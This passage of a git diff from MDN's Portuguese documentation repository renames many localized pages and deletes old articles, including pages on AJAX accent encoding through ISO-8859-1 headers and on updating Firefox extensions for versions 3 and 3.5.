files/pt-pt/web/api/web_audio_api/utilizar_api_audio_web/index.html create mode 100644 files/pt-pt/web/api/web_authentication_api/index.html create mode 100644 files/pt-pt/web/api/web_storage_api/index.html create mode 100644 files/pt-pt/web/api/web_workers_api/using_web_workers/index.html delete mode 100644 files/pt-pt/web/api/web_workers_api/utilizacao_de_web_workers/index.html delete mode 100644 files/pt-pt/web/api/webgl_api/constantes/index.html create mode 100644 files/pt-pt/web/api/webgl_api/constants/index.html delete mode 100644 files/pt-pt/web/api/webgl_api/dados/index.html create mode 100644 files/pt-pt/web/api/webgl_api/data/index.html delete mode 100644 files/pt-pt/web/api/webgl_api/tipos/index.html create mode 100644 files/pt-pt/web/api/webgl_api/types/index.html create mode 100644 files/pt-pt/web/api/webgl_api/using_extensions/index.html delete mode 100644 "files/pt-pt/web/api/webgl_api/utilizar_extens\303\265es/index.html" create mode 100644 files/pt-pt/web/api/webrtc_api/index.html create mode 100644 files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html delete mode 100644 "files/pt-pt/web/api/websockets_api/escrever_aplica\303\247\303\243o_cliente_de_websocket/index.html" delete mode 100644 files/pt-pt/web/api/websockets_api/escrever_servidores_de_websocket/index.html delete mode 100644 files/pt-pt/web/api/websockets_api/escrever_um_servidor_websocket_em_c/index.html delete mode 100644 files/pt-pt/web/api/websockets_api/escrever_um_servidor_websocket_em_java/index.html create mode 100644 files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html create mode 100644 files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html create mode 100644 files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html create mode 100644 files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html delete mode 100644 files/pt-pt/web/api/window/barra_lateral/index.html create mode 100644 files/pt-pt/web/api/window/sidebar/index.html delete mode 100644 files/pt-pt/web/componentes_web/index.html delete mode 100644 files/pt-pt/web/css/_colon_after/index.html delete mode 100644 files/pt-pt/web/css/_colon_before/index.html create mode 100644 files/pt-pt/web/css/_doublecolon_after/index.html create mode 100644 files/pt-pt/web/css/_doublecolon_before/index.html create mode 100644 files/pt-pt/web/css/alternative_style_sheets/index.html delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/caixas/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/cascata_e_heran\303\247a/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/como_o_css_trabalha/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/conte\303\272do/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/cor/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/css_leg\303\255vel/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/disposi\303\247\303\243o/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/estilos_de_texto/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/gr\303\241ficos_svg/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/javascript/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/listas/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/m\303\255dia/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/o_que_\303\251_css/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/porque_usar_css/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/seletores/index.html" delete mode 100644 "files/pt-pt/web/css/como_come\303\247ar/tabelas/index.html" delete mode 100644 "files/pt-pt/web/css/consulta_de_m\303\255dia/index.html" delete mode 100644 files/pt-pt/web/css/consultas_de_media/index.html delete mode 100644 files/pt-pt/web/css/css_background_and_borders/index.html delete mode 100644 "files/pt-pt/web/css/css_background_and_borders/m\303\272ltiplos_planos_de_fundo/index.html" create mode 100644 files/pt-pt/web/css/css_backgrounds_and_borders/index.html create mode 100644 files/pt-pt/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html delete mode 100644 files/pt-pt/web/css/css_box_model/introducao_modelo_caixa_css/index.html create mode 100644 files/pt-pt/web/css/css_box_model/introduction_to_the_css_box_model/index.html create mode 100644 files/pt-pt/web/css/css_colors/color_picker_tool/index.html delete mode 100644 files/pt-pt/web/css/css_colors/ferramenta_selecao_cor/index.html create mode 100644 files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html delete mode 100644 files/pt-pt/web/css/css_flexible_box_layout/alinhamento_de_itens_num_recipiente_flex/index.html delete mode 100644 files/pt-pt/web/css/css_flexible_box_layout/casos_de_utilizacao_tipicos_do_flexbox/index.html delete mode 100644 files/pt-pt/web/css/css_flexible_box_layout/ordenacao_dos_itens_flex/index.html create mode 100644 files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html create mode 100644 files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html delete mode 100644 "files/pt-pt/web/css/css_flexible_box_layout/rela\303\247\303\243o_do_flexbox_com_outros_m\303\251todos_de_layout/index.html" create mode 100644 files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html create mode 100644 files/pt-pt/web/css/css_grid_layout/index.html delete mode 100644 files/pt-pt/web/css/css_tipos/index.html create mode 100644 files/pt-pt/web/css/css_transforms/using_css_transforms/index.html create mode 100644 files/pt-pt/web/css/css_types/index.html delete mode 100644 files/pt-pt/web/css/folhas_de_estilo_alternativas/index.html create mode 100644 files/pt-pt/web/css/gap/index.html delete mode 100644 files/pt-pt/web/css/grid-gap/index.html delete mode 100644 files/pt-pt/web/css/layout_de_grelha_css/index.html create mode 100644 files/pt-pt/web/css/media_queries/index.html create mode 100644 files/pt-pt/web/css/media_queries/using_media_queries/index.html delete mode 100644 "files/pt-pt/web/css/m\303\251dia_paginada/index.html" create mode 100644 files/pt-pt/web/css/paged_media/index.html create mode 100644 files/pt-pt/web/css/pseudo-classes/index.html create mode 100644 files/pt-pt/web/css/pseudo-elements/index.html delete mode 100644 files/pt-pt/web/css/pseudoclasses/index.html delete mode 100644 files/pt-pt/web/css/pseudoelementos/index.html create mode 100644 files/pt-pt/web/css/reference/index.html delete mode 100644 "files/pt-pt/web/css/refer\303\252ncia_css/index.html" delete mode 100644 "files/pt-pt/web/css/usando_transforma\303\247\303\265es_css/index.html" delete mode 100644 files/pt-pt/web/eventos/index.html create mode 100644 files/pt-pt/web/events/index.html create mode 100644 files/pt-pt/web/guide/ajax/community/index.html delete mode 100644 "files/pt-pt/web/guide/ajax/como_come\303\247ar/index.html" delete mode 100644 files/pt-pt/web/guide/ajax/comunidade/index.html create mode 100644 files/pt-pt/web/guide/ajax/getting_started/index.html delete mode 100644 files/pt-pt/web/guide/eventos/index.html create mode 100644 files/pt-pt/web/guide/events/index.html create mode 100644 files/pt-pt/web/guide/graphics/index.html delete mode 100644 "files/pt-pt/web/guide/gr\303\241ficos/index.html" delete mode 100644 files/pt-pt/web/guide/html/categorias_de_conteudo/index.html create mode 100644 files/pt-pt/web/guide/html/content_categories/index.html create mode 100644 files/pt-pt/web/guide/html/html5/html5_parser/index.html create mode 100644 files/pt-pt/web/guide/html/html5/index.html create mode 100644 files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html create mode 100644 files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html delete mode 100644 files/pt-pt/web/guide/html/utilizar_estruturas_e_seccoes_de_html/index.html delete mode 100644 files/pt-pt/web/html/aplicar_cor_elementos_html_utilizando_css/index.html create mode 100644 files/pt-pt/web/html/applying_color/index.html delete mode 100644 files/pt-pt/web/html/atributos/index.html delete mode 100644 files/pt-pt/web/html/atributos/rel/index.html delete mode 100644 files/pt-pt/web/html/atributos_globais/index.html create mode 100644 files/pt-pt/web/html/attributes/crossorigin/index.html create mode 100644 files/pt-pt/web/html/attributes/index.html create mode 100644 files/pt-pt/web/html/attributes/rel/index.html delete mode 100644 files/pt-pt/web/html/cors_settings_attributes/index.html create mode 100644 files/pt-pt/web/html/element/audio/index.html create mode 100644 files/pt-pt/web/html/element/fieldset/index.html create mode 100644 files/pt-pt/web/html/element/figcaption/index.html create mode 100644 files/pt-pt/web/html/element/figure/index.html create mode 100644 files/pt-pt/web/html/element/head/index.html create mode 100644 files/pt-pt/web/html/element/index.html create mode 100644 files/pt-pt/web/html/element/nav/index.html create mode 100644 files/pt-pt/web/html/element/progress/index.html create mode 100644 files/pt-pt/web/html/element/video/index.html delete mode 100644 files/pt-pt/web/html/elemento/audio/index.html delete mode 100644 files/pt-pt/web/html/elemento/fieldset/index.html delete mode 100644 files/pt-pt/web/html/elemento/figcaption/index.html delete mode 100644 files/pt-pt/web/html/elemento/head/index.html delete mode 100644 files/pt-pt/web/html/elemento/index.html delete mode 100644 files/pt-pt/web/html/elemento/nav/index.html delete mode 100644 files/pt-pt/web/html/elemento/progress/index.html delete mode 100644 files/pt-pt/web/html/elemento/video/index.html create mode 100644 files/pt-pt/web/html/global_attributes/index.html delete mode 100644 files/pt-pt/web/html/html5/forms_no_html5/index.html delete mode 100644 files/pt-pt/web/html/html5/index.html delete mode 100644 "files/pt-pt/web/html/html5/introdu\303\247\303\243o_ao_html5/index.html" delete mode 100644 files/pt-pt/web/html/html5/parser_html5/index.html create mode 100644 files/pt-pt/web/html/link_types/index.html create mode 100644 files/pt-pt/web/html/reference/index.html delete mode 100644 files/pt-pt/web/html/referencia/index.html delete mode 100644 files/pt-pt/web/html/tipos_de_hiperligacao/index.html create mode 100644 files/pt-pt/web/html/using_the_application_cache/index.html delete mode 100644 files/pt-pt/web/html/utilizar_a_cache_de_aplicacao/index.html create mode 100644 files/pt-pt/web/javascript/data_structures/index.html delete mode 100644 files/pt-pt/web/javascript/estruturas_de_dados/index.html delete mode 100644 files/pt-pt/web/javascript/gestao_memoria/index.html delete mode 100644 files/pt-pt/web/javascript/guia/detalhes_do_modelo_de_objeto/index.html delete mode 100644 files/pt-pt/web/javascript/guia/expressoes_e_operadores/index.html delete mode 100644 "files/pt-pt/web/javascript/guia/gram\303\241tica_e_tipos/index.html" delete mode 100644 files/pt-pt/web/javascript/guia/index.html delete mode 100644 "files/pt-pt/web/javascript/guia/introdu\303\247\303\243o/index.html" delete mode 100644 "files/pt-pt/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" delete mode 100644 files/pt-pt/web/javascript/guia/sobre/index.html delete mode 100644 "files/pt-pt/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" create mode 100644 files/pt-pt/web/javascript/guide/details_of_the_object_model/index.html create mode 100644 files/pt-pt/web/javascript/guide/grammar_and_types/index.html create mode 100644 files/pt-pt/web/javascript/guide/index.html create mode 100644 files/pt-pt/web/javascript/guide/introduction/index.html create mode 100644 files/pt-pt/web/javascript/memory_management/index.html delete mode 100644 "files/pt-pt/web/javascript/o_que_\303\251_o_javascript/index.html" create mode 100644 files/pt-pt/web/javascript/reference/about/index.html create mode 100644 files/pt-pt/web/javascript/reference/deprecated_and_obsolete_features/index.html delete mode 100644 "files/pt-pt/web/javascript/reference/errors/declara\303\247\303\243o_fun\303\247\303\243o_sem_nome/index.html" create mode 100644 files/pt-pt/web/javascript/reference/errors/unnamed_function_statement/index.html delete mode 100644 "files/pt-pt/web/javascript/reference/extratos_e_declara\303\247\303\265es/bloco/index.html" delete mode 100644 "files/pt-pt/web/javascript/reference/extratos_e_declara\303\247\303\265es/for/index.html" delete mode 100644 "files/pt-pt/web/javascript/reference/extratos_e_declara\303\247\303\265es/index.html" delete mode 100644 "files/pt-pt/web/javascript/reference/extratos_e_declara\303\247\303\265es/return/index.html" delete mode 100644 "files/pt-pt/web/javascript/reference/extratos_e_declara\303\247\303\265es/throw/index.html" delete mode 100644 files/pt-pt/web/javascript/reference/funcionalidades_obsoletas/index.html delete mode 100644 files/pt-pt/web/javascript/reference/funcoes/arguments/index.html delete mode 100644 files/pt-pt/web/javascript/reference/funcoes/funcoes_seta/index.html delete mode 100644 files/pt-pt/web/javascript/reference/funcoes/index.html delete mode 100644 files/pt-pt/web/javascript/reference/funcoes/parametros_rest/index.html create mode 100644 files/pt-pt/web/javascript/reference/functions/arguments/index.html create mode 100644 files/pt-pt/web/javascript/reference/functions/arrow_functions/index.html create mode 100644 files/pt-pt/web/javascript/reference/functions/index.html create mode 100644 files/pt-pt/web/javascript/reference/functions/rest_parameters/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/asyncfunction/prototype/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/number/prototype/index.html delete mode 100644 files/pt-pt/web/javascript/reference/global_objects/object/prototype/index.html delete mode 100644 "files/pt-pt/web/javascript/reference/operadores/fun\303\247\303\243o/index.html" delete mode 100644 files/pt-pt/web/javascript/reference/operadores/index.html delete mode 100644 files/pt-pt/web/javascript/reference/operadores/operador_virgula/index.html delete mode 100644 files/pt-pt/web/javascript/reference/operadores/precedencia_operador/index.html create mode 100644 files/pt-pt/web/javascript/reference/operators/comma_operator/index.html create mode 100644 files/pt-pt/web/javascript/reference/operators/function/index.html create mode 100644 files/pt-pt/web/javascript/reference/operators/index.html create mode 100644 files/pt-pt/web/javascript/reference/operators/operator_precedence/index.html delete mode 100644 files/pt-pt/web/javascript/reference/sobre/index.html create mode 100644 files/pt-pt/web/javascript/reference/statements/block/index.html create mode 100644 files/pt-pt/web/javascript/reference/statements/for/index.html create mode 100644 files/pt-pt/web/javascript/reference/statements/index.html create mode 100644 files/pt-pt/web/javascript/reference/statements/return/index.html create mode 100644 files/pt-pt/web/javascript/reference/statements/throw/index.html create mode 100644 files/pt-pt/web/javascript/shells/index.html delete mode 100644 files/pt-pt/web/mathml/attribute/valores/index.html create mode 100644 files/pt-pt/web/mathml/attribute/values/index.html delete mode 100644 files/pt-pt/web/mathml/examples/derivar_a_formula_resolvente/index.html create mode 100644 files/pt-pt/web/mathml/examples/deriving_the_quadratic_formula/index.html create mode 100644 files/pt-pt/web/mathml/examples/mathml_pythagorean_theorem/index.html delete mode 100644 files/pt-pt/web/mathml/examples/mathml_teorema_de_pitagoras/index.html create mode 100644 files/pt-pt/web/opensearch/index.html create mode 100644 files/pt-pt/web/progressive_web_apps/developer_guide/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/guia_de_programacao/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/identificavel/index.html create mode 100644 files/pt-pt/web/progressive_web_apps/responsive/media_types/index.html create mode 100644 files/pt-pt/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/responsivo/elementos_base_desenho_adaptavel/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/responsivo/index.html delete mode 100644 files/pt-pt/web/progressive_web_apps/seguro/index.html delete mode 100644 files/pt-pt/web/security/conteudo_misto/index.html create mode 100644 files/pt-pt/web/security/index.html create mode 100644 files/pt-pt/web/security/insecure_passwords/index.html delete mode 100644 files/pt-pt/web/security/mixed_content/como_corrigir_um_site_da_web_com_conteudo_misto_bloqueado/index.html create mode 100644 files/pt-pt/web/security/mixed_content/how_to_fix_website_with_mixed_content/index.html create mode 100644 files/pt-pt/web/security/mixed_content/index.html create mode 100644 files/pt-pt/web/security/same-origin_policy/index.html delete mode 100644 files/pt-pt/web/seguranca/index.html delete mode 100644 files/pt-pt/web/seguranca/palavras-passe_inseguras/index.html delete mode 100644 files/pt-pt/web/seguranca/same-origin_policy/index.html delete mode 100644 files/pt-pt/web/svg/aplicar_efeitos_svg_conteudo_html/index.html create mode 100644 files/pt-pt/web/svg/applying_svg_effects_to_html_content/index.html create mode 100644 files/pt-pt/web/svg/namespaces_crash_course/example/index.html delete mode 100644 files/pt-pt/web/svg/namespaces_crash_course/exemplo/index.html delete mode 100644 files/pt-pt/web/svg/svg_animacao_com_smil/index.html create mode 100644 files/pt-pt/web/svg/svg_animation_with_smil/index.html delete mode 100644 files/pt-pt/web/svg/tutorial/introducao/index.html create mode 100644 files/pt-pt/web/svg/tutorial/introduction/index.html create mode 100644 files/pt-pt/web/svg/tutorial/svg_and_css/index.html create mode 100644 files/pt-pt/web/svg/tutorial/svg_in_html_introduction/index.html delete mode 100644 files/pt-pt/web/svg/tutorial/svg_na_introducao_html/index.html delete mode 100644 files/pt-pt/web/tutoriais/index.html create mode 100644 files/pt-pt/web/tutorials/index.html create mode 100644 files/pt-pt/web/web_components/index.html delete mode 100644 files/pt-pt/web/webapi/index.html delete mode 100644 files/pt-pt/web/xml/introducao_a_xml/index.html create mode 100644 files/pt-pt/web/xml/xml_introduction/index.html delete mode 100644 files/pt-pt/web/xslt/comunidade/index.html delete mode 100644 files/pt-pt/web/xslt/elementos/index.html create mode 100644 files/pt-pt/webassembly/using_the_javascript_api/index.html delete mode 100644 files/pt-pt/webassembly/utilizar_api_javascript_webassembly/index.html delete mode 100644 files/pt-pt/xforms/controles_customizados/index.html delete mode 100644 files/pt-pt/xforms/index.html delete mode 100644 files/pt-pt/xforms_especiais_para_mozilla/index.html delete mode 100644 files/pt-pt/xhtml/index.html delete mode 100644 files/pt-pt/xml_no_mozilla/index.html delete mode 100644 files/pt-pt/xmlhttprequest/index.html delete mode 100644 files/pt-pt/xpath/eixos/index.html delete mode 100644 "files/pt-pt/xpath/fun\303\247\303\265es/index.html" diff --git "a/files/pt-pt/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" "b/files/pt-pt/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" deleted file mode 100644 index ab83230edf..0000000000 --- "a/files/pt-pt/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Acentuação para conteúdos carregados por AJAX -slug: Acentuação_para_conteúdos_carregados_por_AJAX -tags: - - AJAX - - 'AJAX:Artigos' - - Artigos - - Todas_as_Categorias ---- -

Explicações Iniciais

-

Este artigo trata dos problemas de acentuação na recuperação de um conteúdo via AJAX e NÃO do envio via métodos GET ou POST. Para o tratamento de problemas no ENVIO, veja esta solução (no sub-capítulo "Recebendo os dados (no PHP)". -

O XMLHttpRequest, o motor por trás do AJAX, trabalha no padrão UTF-8 por default, tanto para enviar dados quanto pra receber. Isso vem do próprio browser. Nos primórdios da internet, o Tim Berners-Lee ainda não estava tão preocupado com a internacionalização do HTML. Este esforço só começou a acontecer em novembro de 1995, depois da formação da W3C, onde visavam extender as capacidades do HTML 2. -

Atualmente, os navegadores que implementam Ajax também costumam apresentar vários problemas com nossos caracteres em português, ou outras línguas que possuam acentuação. -

Para resolver este problema, o melhor método seria o uso de HTML Entities, porém nem sempre é possível. -De forma a contornar isto, vemos pela internet muitas complicações usando funções JavaScript e funções como encode, escape, etc nos scripts do lado do servidor (ASP, PHP, JSP, etc). Uma complicação só!!! -

A forma recomendada, além do HTML entities, para corrigir o problema da acentuação no Ajax é através da definição correta do charset. -

Para renderizar nosso português você pode usar o charset ISO-8859-1. Tente padronizar o ISO-8859-1 em todas as partes ligadas ao seu sistema: charset do banco de dados (caso haja algum envolvido), meta charset da página HTML, e o mais importante: -

Você deve enviar cabeçalhos do servidor para o navegador, informando que você usará ISO-8859-1. -

Como fazer isto? -

- -

O código

- -
<cfcontent type="text/html; charset=ISO-8859-1">
-
- -
<% Response.Charset="ISO-8859-1" %>
-
- -
<?php header("Content-Type: text/html;  charset=ISO-8859-1",true); ?>
-
- -
<%@ page contentType="text/html; charset=ISO-8859-1" %>
-
- -

Lembrando que os códigos devem ser colocados no início de seu script (pra quem tem pouca experiência com a linguagem server side). -Testado com sucesso no IE6 e FF1.5. -

Você também pode tentar usar só a tag META em arquivos HTML simples, mas não é confiável.

-
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
-
-

Caso você saiba a forma correta de editar a tag META para que os caracteres do português funcionem corretemente, edite este post e informe-nos. -

-

Observações finais:

-

Gostaria de lembrar que esta solução funciona apenas para a recuperação da página no servidor e não para o envio de dados via AJAX! Uma ótima solução encontrada na internet para o envio dos dados pode ser encontrada em ou . -

Há também outra possível causa para problemas de caracteres: o seu banco de dados. Alguns BD's, guardam seus dados apenas em UTF-8, e aí ocorre a perda de caracteres. Verifique isso também caso os códigos acima não tenham dado certo. -

-
-

Informações Sobre o Documento Original

-
-
diff --git "a/files/pt-pt/atualizando_extens\303\265es_para_o_firefox_3.5/index.html" "b/files/pt-pt/atualizando_extens\303\265es_para_o_firefox_3.5/index.html" deleted file mode 100644 index f1eeef972a..0000000000 --- "a/files/pt-pt/atualizando_extens\303\265es_para_o_firefox_3.5/index.html" +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Atualizando extensões para o Firefox 3.5 -slug: Atualizando_extensões_para_o_Firefox_3.5 -translation_of: Mozilla/Firefox/Releases/3.5/Updating_extensions ---- -
{{FirefoxSidebar}}

{{ fx_minversion_header(3.5) }}

-

Este artigo proporciona informação útil para desenvolvedores tentando atualizar suas extensões para trabalharem corretamente no Firefox 3.5.

-

Atualizações básicas

-

Esta seção cobre o básico do que você necessita fazer sempre que você atualiza uma extensão para uma nova versão do Firefox.

-

Teste sua extensão

-

Começe editando o arquivo install.rdf da sua extensão, atualizando maxVersion para 3.5b4 (if you're testing on Firefox 3.5 beta 4), e aumente a versão da sua extensão.
-
- Crie então um novo perfil no Firefox, para que os testes não coloquem em risco seu perfil usual. Navegue até o diretório contendo Firefox, e então digite o comando:

-
firefox -createProfile testBeta4
-
-

No Mac, você precisa navegar por todo o caminho da bundle aplicação Firefox:

-
cd /Applications/Firefox.app/Contents/MacOS/
-firefox -createProfile testBeta4
-
-

Inicie o Firefox usando o novo perfil digitando este comando na linha de comeando:

-
firefox -P testBeta4
-
-

Teste a sua extensão cuidadosamente. Nós sugerimos que você configure as seguintes preferências para verdadeiro (true) com a finalidade de ser alertado para qualquer advertência ou exceção do JavaScript:

- -

Atualize sua extensão

-

Se você encontrar algum problema durante o teste, atualize seu código para corrigir os problemas. Este artigo contém informação sobre coisas que podem requisitar algum trabalho.
-
- Uma vez que tenha feito isto, tente usar sua extensão novamente, desta vez com o perfil normal. Isto ajudará a assegurar a compatibilidade com qualquer dado existente salvo.

-

Atualize sua extensão em addons.mozilla.org

-

Finalmente, é hora de lançar sua extensão atualizada. Se a sua extensão não necessita de qualquer mudança no código, você pode simplesmente conectar-se ao painel AMO e atualizar a compatibilidade da versão por ali. Caso contrário será necessário enviar uma nova versão para o AMO.
-
- Veja Submitting an add-on to AMO (EN) para informações adicionais.

-

Acessando o banco de dados do Places

-

Antes do Firefox 3.5, acessar o banco de dados do Places diretamente usando a API de Armazenamento (Storage API (EN)) requeria alguns truques:

-
var places = Components.classes["@mozilla.org/file/directory_service;1"].
-                        getService(Components.interfaces.nsIProperties).
-                        get("ProfD", Components.interfaces.nsIFile);
-places.append("places.sqlite");
-var db = Components.classes["@mozilla.org/storage/service;1"].
-                    getService(Components.interfaces.mozIStorageService).openDatabase(places);
-
-

Isto constrói um caminho manual para o arquivo do banco de dados places.sqlite database, então abre o arquivo para o acesso ao armazenamento.

-

O Firefox 3.5 adiciona um serviço dedicado que oferece uma maneira mais conveniente para acessar o banco de dados do Places; a técnica a seguir não funciona no Firefox 3.5 ou anteriores.

-
var db = Components.classes["@mozilla.org/browser/nav-history-service;1"].
-                    getService(Components.interfaces.nsPIPlacesDatabase).DBConnection;
-
-

Caixas de texto de Pesquisa

-

O tipo de caixa de texto (textbox (EN)) timed está depreciado; ao invés disso, você deve usar search.

-

No Firefox 3, você pode ter usado:

-
<textbox type="timed" timeout="1000" oncommand="alert(this.value);"/>
-
-

No Firefox 3.5, você deve mudar para:

-
<textbox type="search" timeout="1000" oncommand="alert(this.value);"/>
-
-

JSON

-

O módulo JavaScript JSON.jsm foi removido no Firefox 3.5 em favor do suporte nativo ao objeto JSON. Para detalhes, veja Using JSON in Firefox (EN) e o artigo em JSON (EN) para uma introdução mais geral sobre o JSON e como usá-lo em várias versões do Firefox.

-

Para assegurar a compatibilidade com o Firefox 3 e Firefox 3.5, você pode fazer o que segue:

-
if (typeof(JSON) == "undefined") {
-  Components.utils.import("resource://gre/modules/JSON.jsm");
-  JSON.parse = JSON.fromString;
-  JSON.stringify = JSON.toString;
-}
-
-

Isto funciona importando o módulo JavaScript JSON.jsm se o JSON não for suportado nativamente, mapeando então os métodos proporcionados por este módulo aos usados nativamente no JSON, então as mesmas chamadas funcinam.

-

Você pode também contornar este problema usando a interface {{ interface("nsIJSON") }} diretamente.

-

Mudanças nos menus de contexto

-

Com o objetivo de suportar as novas características de áudio e vídeo adicionadas ao Gecko 1.9.1, a classe de nsContextMenu foi renomeada de imageURL para mediaURL; entretanto, imageURL foi adicionado novamente em 9 de junho de, 2009.

-

Mudanças no registro chrome

-

O Firefox 3.5 corrige falhas de segurança que tornam possível o uso remoto do chrome. Isto afetará qualquer complemento que inclua recursos em seu arquivo chrome.manifest que referencie a um web site, dados ou urls de recursos. Veja Security changes in Firefox 3.5 (EN) para detalhes.

-

Conseguindo um contexto carregado através de requisição

-

Anteriormente, era possível conseguir um contexto carregado a partir de uma requisição por consulta a várias APIs docShell. Uma maneira correta e confiável de fazer isso é usar um {{ interface("nsILoadContext") }}.

-

Com o C++, você pode fazer como mostrado abaixo:

-
nsCOMPtr<nsILoadContext> loadContext;
-nsCOMPtr<nsIChannel> channel = do_QueryInterface(aRequest);
-NS_QueryNotificationCallbacks(channel, loadContext);
-
-

Com o JavaScript, você pode fazer desta maneira:

-
var loadContext;
-try {
-  loadContext =
-    aRequest.queryInterface(Components.interfaces.nsIChannel)
-            .notificationCallbacks
-            .getInterface(Components.interfaces.nsILoadContext);
-} catch (ex) {
-  try {
-    loadContext =
-      aRequest.loadGroup.notificationCallbacks
-              .getInterface(Components.interfaces.nsILoadContext);
-  } catch (ex) {
-    loadContext = null;
-  }
-}
-
-

Barra de ferramentas customizável

-

No Firefox 3.5, o comportamento da barra de ferramentas customizável mudou, tal que o vínculo <xul:toolbar/> agora remove itens da barra de ferramentas do seu associado <xul:toolbarpalette/> e os adiciona na barra de ferramentas, ao invés de cloná-los e copiá-os para a barra de ferramentas. Isto significa que a paleta conterá agora somente itens não presentes na barra de ferramentas, ao contrário do comportamento anterior de conter todos os elementos, customizáveis ou não, exibidos na barra de ferramentas. Isto pode causar problemas para complementos dependendo da possibilidade de recuperar os itens da barra de ferramentas customizável através de <xul:toolbarpalette/>, ou de tentar dinamicamente inserir itens na paleta para torná-la disponível durante a customização da barra de ferramentas. Mais informações está disponível em {{ Bug(407725) }} e {{ Bug(467045) }}.

-

XPCNativeWrapper

-

Iniciando o Firefox 3.5, você não pode mais usar data: you can no longer use data: bindings em pacotes chromeque possuem automatização XPCNativeWrapper. Isto resolve um potencial problema de segurança.

-

Documentos XUL agora tem o tratamento XPCNativeWrapper, então você agora precisa usar o método getAttribute() para buscar valores de atributo ao invés de simplesmente lê-los diretamente.

-

Se a sua extensão está usando xpcnativewrappers=no (o que não deveria ser feito em primeiro lugar, uma vez que não é seguro fazê-lo), o XBL desta extensão não será aplicado a documentos que estejam usando automatização XPCNativeWrapper, começando no Firefox 3.5.

-

Novas características interessantes

-

"Listening" eventos em todas as abas

-

O Firefox 3.5 adicionou suporte para a adição e remoção de listeners que listen em todas as abas. Veja Listening to events on all tabs (EN) para detalhes.

-

Para desenvolvedores de temas:

- -

 

diff --git "a/files/pt-pt/atualizando_extens\303\265es_para_o_firefox_3/index.html" "b/files/pt-pt/atualizando_extens\303\265es_para_o_firefox_3/index.html" deleted file mode 100644 index 02b1236538..0000000000 --- "a/files/pt-pt/atualizando_extens\303\265es_para_o_firefox_3/index.html" +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: Atualização das extensões para o Firefox 3 -slug: Atualizando_extensões_para_o_Firefox_3 -tags: - - Firefox 3 -translation_of: Mozilla/Firefox/Releases/3/Updating_extensions ---- -
- -

Este artigo proporciona informações úteis para desenvolvedores que desejam atualizar suas extensões para que funcionem corretamente no Firefox 3.

- -

Antes de continuar, há uma sugestão útil que podemos oferecer: se a única mudança que sua extensão requere é uma atualização no campo maxVersion no seu manifesto de instalação, e você hospedou sua extensão em addons.mozilla.org, você atualmente não precisa disponibilizar uma nova versão da sua extensão! Simplesmente use o Painel de Controle de Desenvolvedores em AMO para ajustar o maxVersion. Você pode evitar de ter sua extensão re-revisada por este caminho.

- -

Passo 1: Atualizar o manifesto de instalação

- -

O primeiro passo -- e, para muitas das extensões, o único que será necessário -- é atualizar o arquivo manifesto de instalação, install.rdf, para indicar compatibilidade com o Firefox 3.

- -

Simplesmente ache a linha que indica a máxima versão compatível do Firefox (que, para o Firefox 2, pode indicar como aqui):

- -
 <em:maxVersion>2.0.0.*</em:maxVersion>
-
- -

Mude isto para indicar compatibilidade com o Firefox 3:

- -
 <em:maxVersion>3.0.*</em:maxVersion>
-
- -

Então reinstale sua extensão.

- -

Note que o Firefox 3 acaba com o ".0" extra no número da versão, então, ao invés de usar "3.0.0.*", você precisa usar somente "3.0.*".

- -
Nota: Note que neste ponto mais mudanças no Firefox 3 são esperadas. Estas mudanças podem quebrar algumas extensões, então você não precisa lançar sua extensão com 3.0.* maxVersion para os usuários antes que o Firefox 3 candidato a liberação seja lançado. Durante o período do Firefox 3 Beta, você pode usar 3.0b5 como sua maxVersion.
- -

Tem havido (e continuará a haver) um número de mudanças na API que poderão quebrar algumas extensões. Nós estamos trabalhando na compilação de uma lista completa destas mudanças.

- -
